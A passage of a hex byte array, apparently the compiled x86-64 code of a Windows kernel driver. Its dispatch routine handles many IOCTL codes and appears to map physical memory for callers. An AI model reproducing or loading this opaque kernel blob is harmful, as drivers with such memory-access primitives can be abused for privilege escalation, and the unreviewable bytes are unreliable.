0xFC, 0xFF, 0xFF, - 0xBA, 0x00, 0xFF, 0x00, 0x00, 0x85, 0x55, 0xD8, 0x74, 0x14, 0x48, 0x8D, - 0x4D, 0xC0, 0xFF, 0x15, 0x70, 0x2B, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, - 0xC0, 0xE9, 0xD9, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0xE0, 0x8B, 0xC1, 0x0B, - 0xC2, 0x81, 0xC9, 0xFF, 0x00, 0x00, 0x00, 0xC1, 0xE8, 0x08, 0x3B, 0xC1, - 0x77, 0xD8, 0x4C, 0x89, 0x75, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, - 0x75, 0xEC, 0xBB, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, - 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, - 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x0F, 0xFC, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, - 0x83, 0xE0, 0x05, 0x83, 0xF8, 0x05, 0x74, 0x3D, 0x4C, 0x89, 0x75, 0xE4, - 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, 0xEC, 0xBB, 0x02, 0x00, 0x00, - 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, - 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0xD9, - 0xFB, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, 0x83, 0xE0, 0x05, 0x89, 0x45, 0xE8, - 0x83, 0xF8, 0x05, 0x0F, 0x85, 0x65, 0xFF, 0xFF, 0xFF, 0x4C, 0x89, 0x75, - 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xC3, 0x89, 0x45, 0xDC, 0x4C, - 0x89, 0x75, 0xEC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, - 0x00, 0x00, 0x44, 0x89, 0x75, 0xE0, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, - 0xC7, 0x45, 0xE8, 0x07, 0x00, 0x00, 0x00, 0xE8, 0x94, 0xFB, 0xFF, 0xFF, - 0x48, 0x8D, 0x4D, 0xC0, 0x66, 0x89, 0x5F, 0x16, 0xFF, 0x15, 0x9E, 0x2A, - 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, 0x34, 0x00, 0x00, 0x00, - 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, - 0x33, 0xCC, 0xE8, 0xA9, 0x18, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, - 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, 0x49, 0x8B, 0xE3, 0x41, - 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, - 0x24, 0x20, 0x55, 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, - 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x3C, 0x3A, 0x00, 0x00, - 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x45, 0x33, 0xFF, 0x41, 0x83, - 0x78, 0x10, 0x34, 0x41, 0x0F, 0xB7, 0xFF, 0x0F, 0x85, 0x13, 0x01, 0x00, - 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, 0x85, 0x08, 0x01, 0x00, 0x00, - 0x48, 0x8B, 0x49, 0x40, 0x4C, 0x8B, 0x72, 0x18, 0x4C, 0x89, 0x7A, 0x38, - 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, 0x0A, 0x2A, 0x00, 0x00, 0x4C, 0x89, - 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xE0, 0x4C, 0x89, - 0x7D, 0xE8, 0x4C, 0x89, 0x7D, 0xF0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, - 0xE4, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0xE8, 0xD2, 0xFA, - 0xFF, 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x74, - 0x14, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xD5, 0x29, 0x00, 0x00, 0xB8, - 0x01, 0x00, 0x00, 0xC0, 0xE9, 0xB0, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x75, - 0xE0, 0x85, 0xF6, 0x74, 0xE4, 0x41, 0xBC, 0x01, 0x00, 0x00, 0x00, 0x41, - 0x0F, 0xB7, 0xDC, 0x0F, 0xB7, 0xC3, 0x3B, 0xC6, 0x77, 0x48, 0x4C, 0x89, - 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, 0x44, 0x89, - 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x45, 0xDC, - 0x44, 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xE8, - 0x70, 0xFA, 0xFF, 0xFF, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, 0xFD, 0xFF, 0x00, - 0x00, 0x66, 0x83, 0xE8, 0x09, 0x66, 0x85, 0xC1, 0x75, 0x03, 0x41, 0x8B, - 0xFC, 0x66, 0x41, 0x03, 0xDC, 0x66, 0x85, 0xFF, 0x74, 0xB1, 0x66, 0x85, - 0xFF, 0x74, 0x37, 0x4C, 0x89, 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, - 0xB7, 0xC3, 0x41, 0x2B, 0xC4, 0x4C, 0x89, 0x7D, 0xEC, 0x89, 0x45, 0xDC, - 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x44, - 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xC7, 0x45, - 0xE8, 0x0B, 0x00, 0x00, 0x00, 0xE8, 0x16, 0xFA, 0xFF, 0xFF, 0x48, 0x8D, - 0x4D, 0xC0, 0xFF, 0x15, 0x24, 0x29, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, - 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, - 0xE8, 0x37, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, - 0x5B, 0x40, 0x49, 0x8B, 0x73, 0x48, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, - 0x5E, 0x41, 0x5C, 0x5F, 0x5D, 0xC3, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, - 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x4C, 0x8D, 0x4C, 0x24, 0x40, 0x4C, 0x8B, - 0xC1, 0xBA, 0x50, 0xC3, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xFF, 0x1C, 0x00, - 0x00, 0xE8, 0x36, 0x02, 0x00, 0x00, 0x85, 0xC0, 0x78, 0x36, 0x48, 0x8B, - 0x54, 0x24, 0x40, 0x48, 0x8D, 0x0D, 0xCA, 0x02, 0x00, 0x00, 0x4C, 0x8B, - 0x42, 0x40, 0x49, 0x83, 0x60, 0x18, 0x00, 0x49, 0x89, 0x50, 0x10, 0x48, - 0x89, 0x4B, 0x70, 0x48, 0x89, 0x8B, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, - 0x8B, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x48, 0x0B, 0x00, 0x00, - 0x48, 0x89, 0x4B, 0x68, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, - 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8D, 0x0D, 0xBE, 0x21, - 0x00, 0x00, 0x48, 0x83, 0x62, 0x38, 0x00, 0x48, 0x8B, 0xF2, 0x8B, 0x1F, - 0x8B, 0xD3, 0xE8, 0xD5, 0x16, 0x00, 0x00, 0x48, 0x8B, 0xD7, 0x8B, 0xCB, - 0xE8, 0x1B, 0x11, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x08, 0x48, 0xC7, 0x46, - 0x38, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, - 0x48, 0x8B, 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, - 0x48, 0x83, 0xEC, 0x28, 0x41, 0x8B, 0x40, 0x10, 0x48, 0x83, 0x62, 0x38, - 0x00, 0x48, 0x8B, 0x4A, 0x18, 0x83, 0xF8, 0x04, 0x73, 0x13, 0x48, 0x8D, - 0x0D, 0x87, 0x21, 0x00, 0x00, 0xE8, 0x8A, 0x16, 0x00, 0x00, 0xB8, 0x9A, - 0x00, 0x00, 0xC0, 0xEB, 0x13, 0x48, 0x8B, 0x09, 0xE8, 0x2F, 0x11, 0x00, - 0x00, 0xF6, 0xD8, 0x1B, 0xC0, 0xF7, 0xD0, 0x25, 0x0D, 0x00, 0x00, 0xC0, - 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7C, 0x24, 0x18, 0x41, - 0x56, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8B, 0x72, 0x18, 0x48, 0x8D, 0x0D, - 0x80, 0x21, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0x33, 0xFF, 0x48, 0x89, 0x7A, - 0x38, 0x49, 0x8B, 0x1E, 0x48, 0x8B, 0xD3, 0xE8, 0x34, 0x16, 0x00, 0x00, - 0x48, 0x8B, 0xCB, 0xE8, 0x20, 0x11, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, - 0x74, 0x1B, 0x8B, 0xD0, 0x48, 0x8D, 0x0D, 0x65, 0x21, 0x00, 0x00, 0xE8, - 0x18, 0x16, 0x00, 0x00, 0x41, 0x89, 0x1E, 0x48, 0xC7, 0x46, 0x38, 0x04, - 0x00, 0x00, 0x00, 0xEB, 0x05, 0xBF, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, - 0x5C, 0x24, 0x30, 0x8B, 0xC7, 0x48, 0x8B, 0x7C, 0x24, 0x40, 0x48, 0x8B, - 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, - 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x56, 0x37, 0x00, 0x00, 0x48, 0x33, - 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, - 0xFA, 0x0F, 0x85, 0x92, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, - 0x0F, 0x85, 0x87, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x33, 0xF6, - 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x89, 0x72, 0x38, 0x48, 0x8D, 0x55, 0xC0, - 0xFF, 0x15, 0x26, 0x27, 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x8D, - 0x4D, 0xD8, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, 0x75, 0xEC, 0x89, 0x75, - 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, - 0x89, 0x45, 0xDC, 0xC7, 0x45, 0xE0, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, - 0x03, 0x89, 0x45, 0xE4, 0xE8, 0xE3, 0xF7, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, - 0xC0, 0xFF, 0x15, 0xF1, 0x26, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, - 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x4D, 0xD8, 0x75, 0x0A, 0x66, 0x89, - 0x73, 0x0C, 0x66, 0x89, 0x43, 0x14, 0xEB, 0x0D, 0xB8, 0x00, 0x01, 0x00, - 0x00, 0x66, 0x89, 0x73, 0x14, 0x66, 0x89, 0x43, 0x0C, 0x48, 0xC7, 0x47, - 0x38, 0x34, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, - 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0xD6, 0x14, - 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x83, - 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x60, 0x8B, - 0xDA, 0x49, 0x8B, 0xF1, 0x48, 0x8B, 0xD1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, - 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x47, 0x27, 0x00, 0x00, 0x44, 0x8B, 0xCB, - 0x48, 0x89, 0x74, 0x24, 0x30, 0xBB, 0x20, 0x00, 0x00, 0x00, 0xC6, 0x44, - 0x24, 0x28, 0x00, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4C, 0x8D, 0x44, 0x24, - 0x40, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0x18, 0x27, 0x00, 0x00, - 0x85, 0xC0, 0x78, 0x44, 0x48, 0x8B, 0x0E, 0x44, 0x8B, 0xC3, 0x33, 0xD2, - 0x48, 0x8B, 0x49, 0x40, 0xE8, 0x63, 0x19, 0x00, 0x00, 0x48, 0x8D, 0x15, - 0x7C, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xFF, 0x15, 0xF9, - 0x26, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x4C, 0x24, - 0x50, 0xFF, 0x15, 0x81, 0x26, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, 0x79, - 0x09, 0x48, 0x8B, 0x0E, 0xFF, 0x15, 0x7A, 0x26, 0x00, 0x00, 0x8B, 0xC3, - 0x48, 0x8B, 0x5C, 0x24, 0x70, 0x48, 0x8B, 0x74, 0x24, 0x78, 0x48, 0x83, - 0xC4, 0x60, 0x5F, 0xC3, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, - 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, - 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x83, 0x62, - 0x38, 0x00, 0x48, 0x8B, 0xE9, 0x48, 0x8B, 0xB2, 0xB8, 0x00, 0x00, 0x00, - 0x48, 0x8B, 0xFA, 0x4C, 0x8B, 0x71, 0x40, 0xBB, 0x02, 0x00, 0x00, 0xC0, - 0x4C, 0x8B, 0x7A, 0x18, 0x8A, 0x06, 0x44, 0x8B, 0x66, 0x10, 0x8B, 0x4E, - 0x08, 0xA8, 0xFD, 0x0F, 0x84, 0x21, 0x03, 0x00, 0x00, 0x3C, 0x0E, 0x0F, - 0x85, 0x1B, 0x03, 0x00, 0x00, 0x44, 0x8B, 0x46, 0x18, 0xB8, 0x00, 0x28, - 0x50, 0xC3, 0x44, 0x3B, 0xC0, 0x0F, 0x87, 0x21, 0x02, 0x00, 0x00, 0x0F, - 0x84, 0xF2, 0x01, 0x00, 0x00, 0xB8, 0x68, 0x0E, 0x50, 0xC3, 0x44, 0x3B, - 0xC0, 0x0F, 0x87, 0xB4, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x9E, 0x00, 0x00, - 0x00, 0x41, 0x81, 0xF8, 0x50, 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0x81, 0x00, - 0x00, 0x00, 0x41, 0x81, 0xF8, 0x54, 0x0E, 0x50, 0xC3, 0x74, 0x68, 0x41, - 0x81, 0xF8, 0x58, 0x0E, 0x50, 0xC3, 0x74, 0x4F, 0x41, 0x81, 0xF8, 0x5C, - 0x0E, 0x50, 0xC3, 0x74, 0x36, 0x41, 0x81, 0xF8, 0x60, 0x0E, 0x50, 0xC3, - 0x74, 0x1D, 0x41, 0x81, 0xF8, 0x64, 0x0E, 0x50, 0xC3, 0x0F, 0x85, 0xB1, - 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x4E, 0xF8, - 0xFF, 0xFF, 0xE9, 0x1E, 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, - 0xCD, 0xE8, 0x56, 0xF7, 0xFF, 0xFF, 0xE9, 0x0E, 0x02, 0x00, 0x00, 0x4C, - 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x92, 0xFD, 0xFF, 0xFF, 0xE9, 0xFE, - 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0xF2, 0xF8, - 0xFF, 0xFF, 0xE9, 0xEE, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, - 0xCD, 0xE8, 0x82, 0xFA, 0xFF, 0xFF, 0xE9, 0xDE, 0x01, 0x00, 0x00, 0x4C, - 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x96, 0x09, 0x00, 0x00, 0xE9, 0xCE, - 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0xCA, 0x0E, - 0x00, 0x00, 0xE9, 0xBE, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x6C, 0x0E, - 0x50, 0xC3, 0x0F, 0x84, 0x13, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x70, - 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0xE1, 0x00, 0x00, 0x00, 0x41, 0x81, 0xF8, - 0x00, 0x20, 0x50, 0xC3, 0x0F, 0x84, 0xC1, 0x00, 0x00, 0x00, 0x41, 0x81, - 0xF8, 0x04, 0x20, 0x50, 0xC3, 0x74, 0x6B, 0x41, 0x81, 0xF8, 0x08, 0x20, - 0x50, 0xC3, 0x74, 0x20, 0x41, 0x81, 0xF8, 0x80, 0x25, 0x50, 0xC3, 0x0F, - 0x85, 0xFB, 0x01, 0x00, 0x00, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, - 0x8B, 0xC6, 0xE8, 0xA9, 0x07, 0x00, 0x00, 0xE9, 0x65, 0x01, 0x00, 0x00, - 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4C, 0x19, 0x00, 0x00, - 0x44, 0x8B, 0xC6, 0x41, 0x8B, 0xD4, 0xE8, 0xC9, 0x12, 0x00, 0x00, 0x44, - 0x3B, 0xE6, 0x72, 0x18, 0x49, 0x8B, 0x17, 0x48, 0x83, 0xC9, 0xFF, 0xFF, - 0x15, 0xEF, 0x24, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x56, 0x19, - 0x00, 0x00, 0xEB, 0x51, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, - 0x78, 0x19, 0x00, 0x00, 0xEB, 0x43, 0x44, 0x8B, 0xC9, 0x45, 0x8B, 0xC4, - 0x48, 0x8B, 0xCD, 0x49, 0x8B, 0xD7, 0xE8, 0xF5, 0x0A, 0x00, 0x00, 0x8B, - 0xD8, 0x85, 0xC0, 0x78, 0x20, 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, - 0x0D, 0x73, 0x18, 0x00, 0x00, 0x8B, 0xD6, 0xE8, 0x74, 0x12, 0x00, 0x00, - 0x48, 0x8D, 0x0D, 0x85, 0x18, 0x00, 0x00, 0x48, 0x89, 0x77, 0x38, 0xEB, - 0x0C, 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, 0xA3, 0x18, 0x00, - 0x00, 0xE8, 0x56, 0x12, 0x00, 0x00, 0xE9, 0x59, 0x01, 0x00, 0x00, 0x45, - 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, 0xD7, 0x02, 0x00, - 0x00, 0xE9, 0xC3, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x3F, 0x19, 0x00, - 0x00, 0xE8, 0x32, 0x12, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, - 0x48, 0x8B, 0xCD, 0xE8, 0x7C, 0x07, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, - 0x0D, 0x43, 0x19, 0x00, 0x00, 0xEB, 0xBE, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, - 0xCD, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0xE9, 0x8E, 0x00, 0x00, 0x00, 0x48, - 0x8D, 0x0D, 0x4A, 0x19, 0x00, 0x00, 0xE8, 0xFD, 0x11, 0x00, 0x00, 0x44, - 0x8B, 0x4E, 0x18, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, 0x49, 0x8B, 0xCE, - 0xE8, 0xEB, 0xFA, 0xFF, 0xFF, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x4A, 0x19, - 0x00, 0x00, 0xEB, 0x85, 0xB8, 0x04, 0x64, 0x50, 0xC3, 0x44, 0x3B, 0xC0, - 0x0F, 0x87, 0xFD, 0x01, 0x00, 0x00, 0x74, 0x4A, 0x41, 0x81, 0xF8, 0x04, - 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDB, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, - 0x08, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xAF, 0x01, 0x00, 0x00, 0x41, 0x81, - 0xF8, 0x0C, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0x8F, 0x01, 0x00, 0x00, 0x41, - 0x81, 0xF8, 0x40, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDA, 0x00, 0x00, 0x00, - 0x41, 0x81, 0xF8, 0x44, 0x28, 0x50, 0xC3, 0x74, 0x1C, 0x41, 0x81, 0xF8, - 0x00, 0x64, 0x50, 0xC3, 0x0F, 0x85, 0x8E, 0x00, 0x00, 0x00, 0x48, 0x8B, - 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x7B, 0x02, 0x00, 0x00, 0x8B, 0xD8, 0xEB, - 0x7F, 0x41, 0x83, 0xFC, 0x10, 0x0F, 0x85, 0xA4, 0x00, 0x00, 0x00, 0x41, - 0x83, 0x67, 0x04, 0x00, 0x49, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0xEE, 0x48, - 0x85, 0xF6, 0x74, 0x64, 0x49, 0x8B, 0x07, 0x48, 0x39, 0x46, 0x18, 0x74, - 0x0D, 0x48, 0x8B, 0xEE, 0x48, 0x8B, 0x36, 0x48, 0x85, 0xF6, 0x75, 0xEF, - 0xEB, 0x4E, 0x41, 0x8B, 0x47, 0x08, 0x39, 0x46, 0x20, 0x75, 0x74, 0x48, - 0x8B, 0x56, 0x08, 0x48, 0x8B, 0x4E, 0x18, 0xFF, 0x15, 0xE7, 0x22, 0x00, - 0x00, 0x48, 0x8B, 0x4E, 0x08, 0xFF, 0x15, 0x35, 0x23, 0x00, 0x00, 0x8B, - 0x56, 0x20, 0x48, 0x8B, 0x4E, 0x10, 0xFF, 0x15, 0xE0, 0x22, 0x00, 0x00, - 0x48, 0x8B, 0x06, 0x49, 0x3B, 0x76, 0x18, 0x75, 0x06, 0x49, 0x89, 0x46, - 0x18, 0xEB, 0x04, 0x48, 0x89, 0x45, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCE, - 0xFF, 0x15, 0x9A, 0x22, 0x00, 0x00, 0x33, 0xDB, 0x33, 0xD2, 0x89, 0x5F, - 0x30, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xD2, 0x22, 0x00, 0x00, 0x48, 0x8B, - 0x6C, 0x24, 0x58, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x8B, - 0x74, 0x24, 0x60, 0x48, 0x8B, 0x7C, 0x24, 0x68, 0x48, 0x83, 0xC4, 0x30, - 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5C, 0xC3, 0xBB, 0x0D, 0x00, 0x00, 0xC0, - 0xEB, 0xCA, 0x41, 0x83, 0xFC, 0x10, 0x75, 0xF3, 0x41, 0x3B, 0xCC, 0x75, - 0xEE, 0x41, 0x8B, 0x6F, 0x08, 0x45, 0x33, 0xC0, 0x41, 0x8B, 0x0F, 0x8B, - 0xD5, 0xFF, 0x15, 0x65, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF0, 0x48, 0x85, - 0xC0, 0x74, 0x79, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xC9, - 0x45, 0x33, 0xC0, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0xFF, 0x15, 0x66, 0x22, - 0x00, 0x00, 0x4C, 0x8B, 0xE0, 0x48, 0x85, 0xC0, 0x74, 0x4E, 0x48, 0x8B, - 0xC8, 0xFF, 0x15, 0x1D, 0x22, 0x00, 0x00, 0xB2, 0x01, 0x49, 0x8B, 0xCC, - 0xFF, 0x15, 0x1A, 0x22, 0x00, 0x00, 0xBA, 0x28, 0x00, 0x00, 0x00, 0x33, - 0xC9, 0x48, 0x8B, 0xD8, 0xFF, 0x15, 0xF2, 0x21, 0x00, 0x00, 0x4C, 0x89, - 0x60, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x58, 0x18, 0x89, 0x68, - 0x20, 0x49, 0x8B, 0x4E, 0x18, 0x48, 0x89, 0x08, 0x49, 0x89, 0x46, 0x18, - 0x49, 0x89, 0x1F, 0x48, 0xC7, 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0xE9, - 0x36, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, 0xFF, 0x15, - 0xEC, 0x21, 0x00, 0x00, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0x22, 0xFF, - 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, - 0xA4, 0xF9, 0xFF, 0xFF, 0xE9, 0x8C, 0xFE, 0xFF, 0xFF, 0x48, 0x83, 0x62, - 0x38, 0x00, 0x49, 0x8B, 0xCF, 0xE8, 0x26, 0x0B, 0x00, 0x00, 0xF6, 0xD8, - 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x1B, 0xC9, 0xF7, 0xD1, 0x23, 0xD9, 0xE9, - 0xF0, 0xFE, 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, - 0xC6, 0xE8, 0x2E, 0xF9, 0xFF, 0xFF, 0xE9, 0x5A, 0xFE, 0xFF, 0xFF, 0x41, - 0x81, 0xF8, 0x08, 0x64, 0x50, 0xC3, 0x0F, 0x84, 0x42, 0xFE, 0xFF, 0xFF, - 0x41, 0x8D, 0x80, 0xC0, 0x5B, 0xAF, 0x3C, 0xA9, 0xF3, 0xFF, 0xFF, 0xFF, - 0x75, 0x19, 0x41, 0x81, 0xF8, 0x4C, 0xA4, 0x50, 0xC3, 0x74, 0x10, 0x48, - 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0xE6, 0x02, 0x00, 0x00, 0xE9, 0x26, - 0xFE, 0xFF, 0xFF, 0x41, 0x81, 0xF8, 0x4C, 0xE4, 0x50, 0xC3, 0x74, 0x1A, - 0x41, 0x81, 0xF8, 0x54, 0xE4, 0x50, 0xC3, 0x0F, 0x85, 0x93, 0xFE, 0xFF, - 0xFF, 0x48, 0x8B, 0xCD, 0xE8, 0xF3, 0x01, 0x00, 0x00, 0xE9, 0x03, 0xFE, - 0xFF, 0xFF, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x37, 0x01, 0x00, - 0x00, 0xE9, 0xF3, 0xFD, 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x48, 